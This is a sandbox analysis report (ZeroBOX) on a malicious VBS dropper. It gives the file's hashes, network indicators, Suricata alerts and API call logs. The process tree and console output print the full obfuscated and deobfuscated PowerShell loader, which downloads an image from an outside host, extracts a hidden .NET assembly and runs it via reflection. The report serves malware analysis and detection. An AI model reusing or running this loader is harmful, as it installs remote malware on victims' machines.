popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

HTMLIEbrowserChromehtml.vbs

Generic Malware Antivirus
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 9, 2023, 9:25 a.m. Nov. 9, 2023, 9:27 a.m.
Size 173.7KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 63c71d97a2625c3537e9edde15f3d34b
SHA256 cfba22998b933e1f0f6c6bb23e1a055353fd0af0e9db3289aae907ea3cc9b613
CRC32 6F1356FE
ssdeep 3072:7mRQPbbbbbhbbbbbkbbbbbtbbbbbibbbbbRbbbbbQbbbbb0bbbbbxbbbbbP03dSU:W
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\HTMLIEbrowserChromehtml.vbs

    652

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2212

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('PwCimageUrl = XQ4https://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750XQ4;P'+'wCwebClient = Ne'+'w-Object System.Net.WebClient;PwCimageBytes = PwCwebClient.DownloadData(PwCimageUrl'+');PwCimageText = '+'[System.Text.Encod'+'ing]::UTF8.GetString(PwCimageBytes);PwCstartFlag = XQ4<<BASE64_S'+'TART>>XQ4;PwCendFlag = XQ4<<BASE64_END>>XQ4;PwCstartIndex = Pw'+'CimageText.IndexOf'+'(PwCstartFlag);PwCendIndex = PwCim'+'ageText.IndexOf(PwCendFlag);PwCstartIndex -ge '+'0 -and PwCendIndex -gt Pw'+'CstartIndex;PwCsta'+'rtIndex += PwCstartFlag.Length;PwCbase64Length '+'= PwCendI'+'ndex - PwCstartIndex;PwCbase64C'+'omm'+'and = P'+'wCimageText.Substri'+'ng(PwCstar'+'tIndex, Pw'+'Cbase64Length);PwCc'+'ommandBytes = [System.Convert]::FromBase64String(PwCbase64Command);PwCloadedAssembly = [System.Reflection.Assembly]::Load(PwCcommandBytes);PwCtype = Pw'+'CloadedAssembly.GetType('+'XQ'+'4Fiber.HomeXQ4);PwCmethod = PwCtype.GetMethod('+'XQ4VAIXQ4).I'+'nvoke(PwCnull, [obje'+'ct[]] (XQ4'+'dHh0LlJNUi80MjMzLzEzMS4zMy41NDIuMjcx'+'Ly'+'86cHR0aA==XQ4 , XQ4XQ4 , X'+'Q42XQ4 , XQ4re'+'gasmXQ4 , XQ45XQ4 , XQ4C:5cCWindows5cCTemp5cCXQ4, XQ4hkcmdfXQ4))') -crEPlAcE 'XQ4',[CHAR]39 -replACE '5cC',[CHAR]92-replACE ([CHAR]80+[CHAR]119+[CHAR]67),[CHAR]36) |INVOKE-EXpRession"

        2320

Name Response Post-Analysis Lookup
apps.identrust.com
A 121.254.136.9
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 121.254.136.18
23.67.53.27
paste.ee
A 172.67.187.200
A 104.21.84.67
172.67.187.200
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
104.21.45.138
IP Address Status Action
104.21.45.138 Active Moloch
121.254.136.9 Active Moloch
164.124.101.2 Active Moloch
172.67.187.200 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49161 -> 172.67.187.200:443 2034978 ET POLICY Pastebin-style Service (paste .ee) in TLS SNI Potential Corporate Privacy Violation
TCP 192.168.56.103:49161 -> 172.67.187.200:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49167 -> 104.21.45.138:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49161
172.67.187.200:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=paste.ee 75:09:97:90:38:ad:dd:cc:0d:1b:d8:8b:02:ab:5d:a9:3b:7a:1f:1d
TLSv1
192.168.56.103:49167
104.21.45.138:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:181
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LlJNUi80MjMzLzEzMS4zMy41N
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: DIuMjcxLy86cHR0aA==' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmdf'
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: At line:1 char:244
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: etString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LlJNUi80MjMzLzEzMS4zMy41N
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: DIuMjcxLy86cHR0aA==' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmdf'
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: At line:1 char:350
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: etString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: >';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.In
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LlJNUi80MjMzLzEzMS4zMy41N
console_handle: 0x00000297
1 1 0

WriteConsoleW

 buffer: DIuMjcxLy86cHR0aA==' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmdf'
console_handle: 0x000002a3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x000002bb
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050fdf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050ff30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050ff30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050ff30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050f730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050f730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050f730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050f730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050f730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0050f730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

